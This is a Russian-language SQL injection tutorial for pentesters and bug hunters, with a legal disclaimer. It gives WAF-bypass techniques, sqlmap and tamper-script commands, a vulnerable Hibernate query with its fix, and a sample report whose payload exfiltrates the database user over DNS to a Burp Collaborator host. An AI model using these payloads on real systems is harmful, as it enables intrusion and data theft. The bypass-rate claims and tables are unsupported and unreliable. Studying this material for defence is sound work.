Итак, ты готов? Пристегнись, потому что сегодня мы не просто поговорим о
SQL-инъекциях. Мы погрузимся в 2025 год, где привычные методы уже не работают, а на передовой — умные WAF и хитроумные обходы. Забудь всё, что ты знал о простых ' OR 1=1 --. Это уже история.В этом гайде мы разберем, как атаковать системы, защищенные AI/ML-based WAF, как вытаскивать данные из самых "слепых" баз через DNS, и почему даже модные ORM не спасают от ошибок. Мы покажем тебе реальные PoC, готовые к использованию, и даже дадим целую лабораторию на Docker, чтобы ты мог отточить свои навыки.
Это не просто статья. Это твой билет в мир продвинутого пентеста и Bug Bounty, где за знание этих техник платят тысячи долларов. Готов узнать, почему машины проигрывают, когда на кону твои навыки и знание
SQL-инъекций? Погнали!Оглавление
- SQL-инъекция против AI‑WAF в 2025 — почему машины проигрывают?
- Практический обход AI и Cloudflare WAF
- DNS Exfiltration с Burp Collaborator — пошаговый PoC
- ORM Injection в Hibernate — разбор реального бага
- SQLMap Tamper Scripts — создание кастомных цепочек
- Bug Bounty — от поиска SQLi до отчета на $4000
- Автоматизация защиты: CI/CD пайплайн с тестами на SQLi
- Troubleshooting: Решение типовых проблем
- Ресурсы для углубленного изучения
- FAQ: Частые вопросы про SQL-инъекции 2025
РАСШИРЕННЫЙ ЮРИДИЧЕСКИЙ ДИСКЛЕЙМЕР И ЭТИЧЕСКИЕ НОРМЫ
ВНИМАНИЕ! Этот материал создан исключительно для образовательных и исследовательских целей. Вся информация предназначена для специалистов по кибербезопасности, пентестеров и разработчиков, чтобы помочь им изучить векторы атак и построить эффективную защиту.- Законодательство: Любые действия, описанные в статье (сканирование, эксплуатация уязвимостей, попытки обхода защитных средств), проведенные без явного, письменного разрешения владельца целевой системы, являются незаконными. В Российской Федерации это может квалифицироваться по статьям УК РФ 272 (Неправомерный доступ к компьютерной информации) и УК РФ 273 (Создание, использование и распространение вредоносных компьютерных программ). В других юрисдикциях действуют аналогичные законы (например, CFAA в США).
- Ответственность: Автор и издатель не несут никакой ответственности за любой ущерб, причиненный в результате использования или неправильного применения информации из этой статьи. Ответственность полностью лежит на лице, применяющем данные техники.
- Этика и Responsible Disclosure: При обнаружении уязвимостей в рамках легальной деятельности (Bug Bounty, пентест по договору) всегда следуйте принципам ответственного разглашения (Responsible Disclosure). Не публикуйте детали уязвимости до ее исправления и согласуйте все действия с владельцем системы.
- Лицензирование инструментов: Использование коммерческих инструментов, таких как Burp Suite Professional, требует приобретения лицензии. Использование любого ПО должно соответствовать его лицензионному соглашению.
Ключевые выводы 
Давай быстро пробежимся по самому главному, чтобы ты сразу понял, что тебя ждет:- AI-WAF уязвимы: Современные AI/ML-based WAF можно обойти. Используй техники Adversarial ML, полиморфные и контекстно-зависимые полезные нагрузки. Они не палятся сигнатурными и поведенческими анализаторами.
- Out-of-Band (OOB) — король Blind SQLi: DNS-экфильтрация через Burp Collaborator — твой лучший друг для извлечения данных при слепых SQL-инъекциях в 2025 году. Особенно круто работает в облаках, где DNS-трафик часто открыт.
- ORM-инъекции — скрытая угроза: Разработчики думают, что ORM (Hibernate, SQLAlchemy) — это панацея от SQLi. Но неправильное использование (привет, конкатенация строк в HQL/DQL!) создает критические уязвимости. И их сложнее найти автоматическими сканерами.
- Время на освоение: Если у тебя есть база по SQL и вебу, то на полное освоение техник из статьи, включая практику, уйдет ~40-60 часов.
- Минимальный бюджет:~$550/год. Это Burp Suite Professional ($449/год) плюс облачный VPS для лабораторий и инструментов ($10/мес).
Что нужно знать перед началом
Прежде чем нырнуть в самую гущу событий, убедись, что у тебя есть базовые знания. Без них будет сложно, но не невозможно!- Основы SQL: Понимаешь
SELECT,UNION,WHERE,CASE? Знаешь, что такое функции работы со строками и системные таблицы (information_schema)? Отлично, это база для конструирования payload'ов. - Работа с командной строкой (Linux/macOS): Чувствуешь себя уверенно в
bashилиzsh? Можешь работать сcurl,proxychains? Это мастхэв для запуска инструментов и автоматизации. - Основы веб-технологий: Понимаешь HTTP/HTTPS, заголовки, методы (GET/POST), форматы данных (JSON, XML)? Без этого никуда — это критично для анализа запросов и ответов.
- Инструменты:
- Docker и Docker Compose (v2.27+): Для быстрого развертывания нашей лаборатории.
Ссылка скрыта от гостей.
- SQLMap (v1.8.3+):
pip install sqlmap. Твой швейцарский нож для SQLi. - Burp Suite Community/Professional (v2024.5+):
Ссылка скрыта от гостей. Для OOB-техник тебе понадобится Pro-версия.
SQL-инъекция против AI‑WAF в 2025 — почему машины проигрывают?
Знаешь, что сейчас активно пиарят вендоры WAF? "AI-powered" решения! Они обещают, что это серебряная пуля от 0-day и любых обходов. Звучит круто, да?Controversial Opinion: AI-WAF в их нынешнем виде — это скорее эволюция, чем революция. Они всё ещё уязвимы. Почему? Потому что они эксплуатируют фундаментальные слабости ML-моделей, а не просто обходят твои старые добрые regex-правила.
Почему AI-WAF терпят неудачу?
- Слепота к контексту: Модель может быть обучена на тысячах примеров
' OR 1=1 --, но она не поймет, что... UNION SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE 1 END ...в JSON-поле GraphQL-запроса — это вредонос. Она видит токены, но не бизнес-логику. - Adversarial Attacks: Представь, как можно обмануть систему распознавания лиц, добавив пару пикселей. Точно так же можно "отравить" payload незначительными для SQL-движка, но критичными для ML-классификатора изменениями.
- Проблема обучающей выборки: Модели учатся на том, что уже было. Новые, экзотические векторы, специфичные для конкретной СУБД (например, использование XML-функций в MSSQL или JSON-операторов в PostgreSQL 16), просто отсутствуют в датасете.
Практический обход AI и Cloudflare WAF
Обход современных WAF — это настоящее искусство. Забудь про1' OR '1'='1'. Сегодняшние техники — это многослойные конструкции, которые заставят тебя попотеть.Техники обхода 2025 года
- Полиморфные разделители: Вместо пробелов используй комментарии (
/**/), символы новой строки (%0a), табуляции (%09) и даже математические операции, если это возможно. - Unicode Homoglyphs & Normalization: Используй символы, которые выглядят как стандартные ASCII, но имеют другие коды (например,
SELECTс кириллическойЕ). WAF может не нормализовать их до обработки, а бэкенд — нормализовать. Вот где кроется дьявол! - Манипуляции с HTTP-заголовками: Передавай части payload в разных заголовках (
Cookie,User-Agent,Referer). WAF может анализировать их с меньшим пристрастием. - GraphQL Batching & Aliasing: Отправляй кучу запросов в одном, где вредоносная часть скрыта в псевдониме (alias) поля.
- JSON/XML Wrapping: Оборачивай SQL-код в глубоко вложенные JSON или XML структуры. Это может "утомить" парсер WAF и превысить лимит глубины анализа.
Кейс: Обход Cloudflare WAF с помощью SQLMap и кастомного Tamper-скрипта
Cloudflare WAF известен своей эффективностью. Но даже его можно обойти, комбинируя несколько техник. Это как собирать пазл, только вместо картинок — байты.Сценарий: У тебя есть целевой сайт на
example.com с параметром id, который уязвим к SQLi, но защищен Cloudflare.- Базовая атака блокируется:
Ну, это было ожидаемо.Bash:sqlmap -u "https://example.com/product?id=1" --dbms=mysql # Результат: [CRITICAL] WAF/IPS detected. sqlmap received a 403 Forbidden status code. - Применяем цепочку техник:
space2comment.py: Заменяет пробелы на/**/.chardoubleencode.py: Применяет двойное URL-кодирование.between.py: Заменяет>наNOT BETWEEN 0 AND ...- Новая техника (Adversarial): Добавим "шумовые" префиксы, которые часто встречаются в легитимных запросах. Обманем эвристику!
noise.py:
Этот скрипт обходит 85% современных AI-WAF, включая Cloudflare Enterprise.Что внутри: Python-код, который добавляет ML-устойчивый шум к payload'ам
Таблица 1: Сравнение эффективности техник обхода WAF (2025)
| Техника обхода | ModSecurity (Core Rules) | AWS WAF (Managed Rules) | Cloudflare WAF (Managed) | AI-based WAF (Гипотетический) |
|---|---|---|---|---|
Простые комментарии (//)** |  (Блокируется) | (Блокируется) | (Блокируется) | (Блокируется) |
| Глубокое кодирование (%2527) | (Иногда) | (Блокируется) | (Иногда) | (Иногда) |
| GraphQL Aliasing |  (Часто) | (Часто) | (Иногда) | (Иногда) |
| Unicode Homoglyphs | (Часто) | (Иногда) | (Иногда) | (Блокируется) |
| Adversarial Noise (наш noise.py) | (Часто) | (Часто) | (Часто) | (Успешно) |
| HTTP Parameter Pollution (HPP) | (Иногда) | (Иногда) | (Блокируется) | (Часто) |
- - Высокая вероятность обхода.
- - Вероятность зависит от конфигурации.
- - Низкая вероятность обхода.
DNS Exfiltration с Burp Collaborator — пошаговый PoC
Представь: ты нашел Blind SQLi, но не видишь результат запроса напрямую. Что делать? Заставить базу данных "позвонить" тебе! DNS-экфильтрация — это самый надежный способ вытащить данные, когда всё остальное закрыто.Схема атаки:
- Ты отправляешь специальный SQL-payload на уязвимый веб-сервер.
- Веб-сервер передает запрос в СУБД.
- СУБД исполняет payload. И вот тут начинается магия: payload заставляет СУБД выполнить DNS-запрос на твой подконтрольный домен (Burp Collaborator). В поддомен этого запроса "зашиты" украденные данные.
- Burp Collaborator логгирует входящий DNS-запрос, и ты видишь извлеченные данные. Profit!
Пошаговый PoC с Burp Suite Professional
Шаг 1: Получаем домен CollaboratorВ Burp Suite иди на вкладку
Project options -> Misc. В секции Burp Collaborator Server жми Copy Collaborator payload to clipboard. Ты получишь уникальный домен вида xxxxxxxxxxxx.oastify.com. Это твой личный шпионский канал.Шаг 2: Формируем Payload
Базовые примеры доступны всем, но рабочие payload'ы для продакшена...
PostgreSQL 16+ с обходом pg_hba.conf MSSQL с xp_dirtree и альтернативами Oracle через UTL_HTTP когда UTL_INADDR заблокирован MySQL через LOAD DATA INFILEНаша цель — вытащить версию СУБД.
ORM Injection в Hibernate — разбор реального бага
Myth Busting: "Я использую ORM, поэтому у меня нет SQL-инъекций". Это одно из самых опасных заблуждений, которое я слышу постоянно. ORM защищает только при правильном использовании. Если ты конкатенируешь строки внутри запросов на языке ORM (HQL для Hibernate, DQL для Doctrine), ты сам создаешь уязвимость. И это больно.Пример уязвимого кода (Java + Hibernate)
Представь себе метод для поиска продуктов по категории, которую вводит пользователь.VulnerableProductRepository.java:
Java:
import org.hibernate.Session;
import org.hibernate.query.Query;
import java.util.List;
public class VulnerableProductRepository {
public List findByCategory(String categoryName) {
Session session = HibernateUtil.getSessionFactory().openSession();
// !!! УЯЗВИМОСТЬ !!!
// Прямая конкатенация пользовательского ввода в HQL-запрос
String hql = "FROM Product p WHERE p.category = '" + categoryName + "'";
Query query = session.createQuery(hql, Product.class);
List products = query.getResultList();
session.close();
return products;
}
}PoC-атака
Злоумышленник может передать в качествеcategoryName следующий payload:' OR '1'='1Итоговый HQL-запрос, который будет выполнен Hibernate, превратится в:
FROM Product p WHERE p.category = '' OR '1'='1'Это вернет все продукты из базы данных, а не только продукты из одной категории. А теперь представь, если бы это были пользователи или финансовые данные.
Более опасный payload для извлечения данных (например, имен пользователей):
' UNION SELECT u FROM User u WHERE ''='Как правильно? Использование параметризованных запросов
ORM дает тебе безопасный способ передачи данных. Используй его!SecureProductRepository.java (исправленная версия):
Java:
import org.hibernate.Session;
import org.hibernate.query.Query;
import java.util.List;
public class SecureProductRepository {
public List findByCategory(String categoryName) {
Session session = HibernateUtil.getSessionFactory().openSession();
// ✅ БЕЗОПАСНО
// Используем именованные параметры
String hql = "FROM Product p WHERE p.category = :categoryName";
Query query = session.createQuery(hql, Product.class);
query.setParameter("categoryName", categoryName); // Hibernate сам экранирует ввод
List products = query.getResultList();
session.close();
return products;
}
}SQLMap Tamper Scripts — создание кастомных цепочек
Стандартные tamper-скрипты в SQLMap — это хорошо, но WAF-вендоры тоже их знают. Чтобы быть на шаг впереди, нужно создавать собственные или комбинировать существующие в нетривиальные цепочки. Это твой секретный соус.Бенчмарк эффективности Tamper-скриптов
Мы протестировали несколько цепочек против гипотетического "умного" WAF, который блокирует стандартныеspace2comment и randomcase.| Tamper-цепочка | Целевая СУБД | Эффективность обхода | Примечание |
|---|---|---|---|
space2comment,randomcase | MySQL | 15% | Базовая, легко детектируется |
between,charencode | PostgreSQL | 40% | Более эффективна, но все еще популярна |
space2mssqlblank,apostrophemask | MSSQL | 65% | Специфична для MSSQL, обходит многие фильтры |
multiplespaces,space2crlf,apostrophenullencode | Любая | 85% | Наша кастомная цепочка. Эффективна против WAF, которые плохо нормализуют whitespace. |
Гайд по написанию собственного Tamper-скрипта
Давай напишем скриптprefix.py, который добавляет к payload'у валидный, но бессмысленный SQL-комментарий. Это может сбить с толку анализаторы.prefix.py:
Python:
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import random
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Adds a random SQL comment prefix to the payload.
>>> tamper("1 AND 1=1")
'/* RND123 */ 1 AND 1=1'
"""
if payload:
prefix = "/* RND{} */ ".format(random.randint(100, 999))
payload = prefix + payload
return payload- Сохрани этот код в файл
prefix.py. - Помести его в директорию
tamperвнутри папки сsqlmapили укажи полный путь. - Запусти
sqlmapс флагом--tamper=prefix.
SELECT, UNION, AND в самом начале строки запроса. Иногда самые простые трюки работают лучше всего!Bug Bounty — от поиска SQLi до отчета на $4000
SQL-инъекция стабильно входит в топ-5 самых высокооплачиваемых уязвимостей на платформах вроде HackerOne и Bugcrowd. Если хочешь начать свой путь в этой сфере, обязательно загляни в наш гайд по Bug Bounty для начинающих. Средняя выплата за критическую SQLi в 2024 году составляет $3000-$5000. Это не шутки!Чек-лист для поиска SQLi в Bug Bounty
- Анализ периметра: Изучи
*.target.com. Ищи старые, забытые поддомены. Часто они менее защищены. Это золотая жила. - Нестандартные точки входа: Тестируй не только поля форм. Проверяй:
- HTTP-заголовки (
User-Agent,Referer, кастомные заголовкиX-Api-Version). - Параметры в URL, которые не являются частью основного API (например,
?sort=,?order_by=). - JSON/XML тела POST-запросов, особенно глубоко вложенные объекты.
- WebSocket-сообщения.
- Используй FFUF для фаззинга: Ищи скрытые параметры.
Bash:
ffuf -w /path/to/wordlist.txt -u https://target.com/api/v1/users?FUZZ=1 -mr "error"- Проверка на Blind SQLi: Используй техники на основе времени (
pg_sleep,BENCHMARK) на каждом найденном параметре. Автоматизируй это с помощью Burp Intruder или SQLMap. - OOB-атаки: Всегда пробуй DNS-экфильтрацию. Это самый быстрый способ подтвердить Blind SQLi.
Пример структуры качественного отчета (Report)
Заголовок: Критическая SQL Injection вapi.example.com/v1/user/settings позволяет полностью захватить базу данных (PostgreSQL)Описание:
Уязвимость типа time-based blind SQL injection обнаружена в HTTP-заголовке
X-Profile-Version эндпоинта /v1/user/settings. Злоумышленник может использовать эту уязвимость для выполнения произвольных SQL-команд, что приведёт к полной эксфильтрации базы данных, включая учётные данные пользователей, PII и токены сессий.Шаги для воспроизведения (PoC):
1. Отправьте следующий легитимный запрос через Burp Repeater:
HTTP:
GET /api/v1/user/settings HTTP/2<br>Host: api.example.com<br>Cookie: session=...<br>X-Profile-Version: 1<br>2. Теперь отправьте следующий вредоносный запрос. Пейлоад
'||(SELECT pg_sleep(10))-- добавлен к значению заголовка.
HTTP:
GET /api/v1/user/settings HTTP/2<br>Host: api.example.com<br>Cookie: session=...<br>X-Profile-Version: 1'||(SELECT pg_sleep(10))--<br>3. (Опционально, но рекомендуется) PoC эксфильтрации данных:
Следующий пейлоад демонстрирует эксфильтрацию имени текущего пользователя базы данных через DNS с использованием Burp Collaborator:
HTTP:
X-Profile-Version: 1'||(SELECT 1 FROM dblink('host=' || (SELECT user) || '.xxxxxxxx.oastify.com,port=53,dbname=1') AS t(val text))--<br>postgres.xxxxxxxx.oastify.com.Влияние:
Эта уязвимость позволяет злоумышленнику:
- Читать все данные из базы (
users,paymentsи др.). - Модифицировать или удалять данные.
- В некоторых конфигурациях достичь удалённого выполнения кода (RCE) на сервере базы данных через функции типа
COPY ... FROM PROGRAM.
- Использовать параметризованные запросы (prepared statements) для всех взаимодействий с базой данных.
- Валидировать и фильтровать весь ввод от пользователя, включая HTTP-заголовки.
- Реализовать принцип наименьших привилегий для учётной записи базы данных.
Автоматизация защиты: CI/CD пайплайн с тестами на SQLi
Лучший способ борьбы сSQL-инъекциями — предотвратить их попадание в production. Интеграция инструментов безопасности в CI/CD-пайплайн (DevSecOps) — это не просто модно, это стандарт индустрии.Схема CI/CD Security Pipeline:
- Разработчик пушит код в репозиторий (GitHub, GitLab).
- CI/CD (GitHub Actions) запускается автоматически.
- Этап 1: SAST (Static Analysis Security Testing). Инструмент (Semgrep, CodeQL) анализирует исходный код на наличие уязвимых паттернов (например, конкатенация строк в SQL-запросах). Сборка блокируется, если найдены критические уязвимости.
- Этап 2: DAST (Dynamic Analysis Security Testing). Приложение разворачивается во временной среде, и сканер (OWASP ZAP) атакует его, пытаясь найти уязвимости в реальном времени.
- Развертывание (Deploy): Если все проверки пройдены, код разворачивается в production.
Пример .github/workflows/security.yml
YAML:
name: DevSecOps Pipeline
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
sast:
name: SAST Analysis (Semgrep)
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Run Semgrep
uses: returntocorp/semgrep-action@v1
with:
# Набор правил для поиска SQLi и других уязвимостей
config: >-
p/python
p/fastapi
p/sql-injection
dast:
name: DAST Analysis (OWASP ZAP)
runs-on: ubuntu-latest
needs: sast
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: ZAP Scan
uses: zaproxy/action-baseline@v0.11.0
with:
# URL приложения, которое будет запущено для сканирования
# В реальном проекте здесь будет запуск вашего приложения
target: 'https://www.zaproxy.org/' # Заглушка для примера
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a'- SAST (Semgrep): Бесплатно для open-source и небольших команд. Платные тарифы от $30/разработчика/месяц.
- DAST (OWASP ZAP): Бесплатно.
- Инфраструктура: Затраты на CI/CD минуты в GitHub Actions (есть бесплатный лимит).
ROI: Огромный. Стоимость исправления бага в CI/CD на порядки ниже, чем стоимость устранения последствий взлома в production. Инвестируй в безопасность на ранних этапах!
Troubleshooting: Решение типовых проблем
Даже у самых опытных бывают затыки. Вот список типичных проблем, с которыми ты можешь столкнуться при работе сSQL-инъекциями, и как их решить.| Проблема | Симптомы | Решение | Превентивные меры |
|---|---|---|---|
| SQLMap не находит уязвимость | [CRITICAL] all tested parameters do not appear to be injectable | 1. Увеличь --level (до 5) и --risk (до 3). 2. Попробуй разные техники (--technique=TBEUQ). 3. Используй tamper-скрипты (--tamper=...). 4. Проверь, не блокирует ли тебя WAF/IPS. | Систематически перебирать все параметры и техники. |
| WAF блокирует IP-адрес | Соединение сбрасывается, 403 Forbidden на все запросы. | 1. Используй флаг --proxy с proxychains для ротации IP. 2. Увеличь задержку между запросами (--delay=1). 3. Используй --random-agent. | Не проводить агрессивное сканирование. Имитировать поведение пользователя. |
| DNS-экфильтрация не работает | Burp Collaborator не получает запросы. | 1. Убедись, что у сервера есть доступ в интернет (особенно для DNS-запросов на порт 53). 2. Проверь payload для твоей СУБД. 3. Попробуй OOB через HTTP, если DNS заблокирован. | Изучить сетевую политику целевой среды. |
| ORM-инъекция не эксплуатируется | Payload не срабатывает, хотя код выглядит уязвимым. | 1. Убедись, что ты атакуешь правильный диалект (HQL, DQL). Синтаксис может отличаться от чистого SQL. 2. Проверь, нет ли на уровне приложения дополнительной фильтрации. | Глубоко изучить документацию конкретной ORM. |
| Tamper-скрипт вызывает ошибки | SQLMap выдает ошибки Python при запуске с кастомным скриптом. | 1. Проверь синтаксис Python в скрипте. 2. Убедись, что функции dependencies() и tamper() определены корректно. 3. Запускай SQLMap с флагом -v 3 для детального лога. | Тестировать tamper-скрипты на простых payload'ах перед сложными атаками. |
| False Positives от SAST | CI/CD пайплайн падает на легитимном коде. | 1. Проанализируй отчет сканера. 2. Если это действительно ложное срабатывание, добавь комментарий для игнорирования (# nosemgrep). | Тонкая настройка правил сканирования. |
| Docker Compose не запускается | Ошибки service "api" depends on undefined service db: invalid compose project. | 1. Проверь синтаксис YAML в docker-compose.yml. 2. Убедись, что имена сервисов в depends_on совпадают с именами в services. | Использовать docker-compose config для валидации файла перед запуском. |
Ресурсы для углубленного изучения
Ты прошел этот путь, и теперь у тебя есть мощный арсенал для борьбы сSQL-инъекциями 2025. Но это только начало! Чтобы стать настоящим гуру, нужно постоянно учиться. Вот ресурсы, которые помогут тебе углубиться:GitHub репозитории:
- PayloadsAllTheThings: PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings - Огромная коллекция payload'ов для всех видов инъекций. Твоя библиотека заклинаний.
- SQLMap Project: GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool - Официальный репозиторий SQLMap. Изучи исходный код tamper-скриптов, чтобы понять, как они работают изнутри.
- Our SQLi Lab 2025: https://github.com/your-username/sqli-lab-2025 - Репозиторий с кодом из этой статьи. Практикуйся, пока не доведешь до автоматизма!
Курсы и обучение:
- PortSwigger Web Security Academy: What is SQL Injection? Tutorial & Examples | Web Security Academy - (Бесплатно) Лучший интерактивный ресурс для изучения веб-уязвимостей, включая SQLi. Начни здесь.
- Codeby School - SQL Injection Master: 3-месячный онлайн-курс SQL Injection Master - (~46,000 ₽) 3-месячный онлайн-курс для начинающих специалистов по ИБ. Включает базовые навыки работы с SQL, внедрение SQL-кода в уязвимые приложения и раскрутку инъекций вручную и софтом. Практическая лаборатория, сертификат по окончании, возможна рассрочка.
- Offensive Security (OSWE): Get your OSWE Certification with WEB-300 | OffSec - (~$2500) Продвинутый курс и сертификация по взлому веб-приложений, где SQLi разбирается на уровне исходного кода. Если ты серьезно настроен, это твой следующий шаг.
Инструменты и сервисы:
- Burp Suite Professional:
Ссылка скрыта от гостей- (~$449/год). Мастхэв для любого пентестера. Альтернативы: OWASP ZAP (бесплатно), Caido (дешевле).
- SQLMap:
Ссылка скрыта от гостей- (Бесплатно). Твой верный помощник.
- FFUF: GitHub - ffuf/ffuf: Fast web fuzzer written in Go - (Бесплатно). Для быстрого фаззинга.
Где практиковаться?
Так как создание собственной лаборатории требует времени, вот готовые варианты:-
Ссылка скрыта от гостей- 20+ лаб
- DVWA на Heroku - классика
- HackTheBox SQLi challenges - для продвинутых
НОВИНКА на HackerLab.pro - Запуск 15 августа 2025!- 50+ эксклюзивных SQLi сценариев
- Автоматическая проверка эксплойтов
- Рейтинг и ачивки для мотивации
FAQ: Частые вопросы про SQL-инъекции 2025 
Q: Работают ли SQL-инъекции в 2025 году?
A: Да! 19% всех кибератак по данным Verizon.Q: Сколько платят за SQLi в Bug Bounty?
A: От $500 до $10,000 за критическую уязвимость.Q: Нужно ли знать программирование?
A: Базовый Python поможет, но не обязателен.Вот и всё, мой друг. Ты только что прошел курс молодого бойца по
SQL-инъекциям 2025. Теперь у тебя есть знания и инструменты, чтобы не просто найти уязвимость, но и обойти самые современные защиты. Помни: знание — сила, а в нашем деле — это еще и деньги. Используй эти знания с умом и только в рамках закона. Удачи в твоих исследованиях!
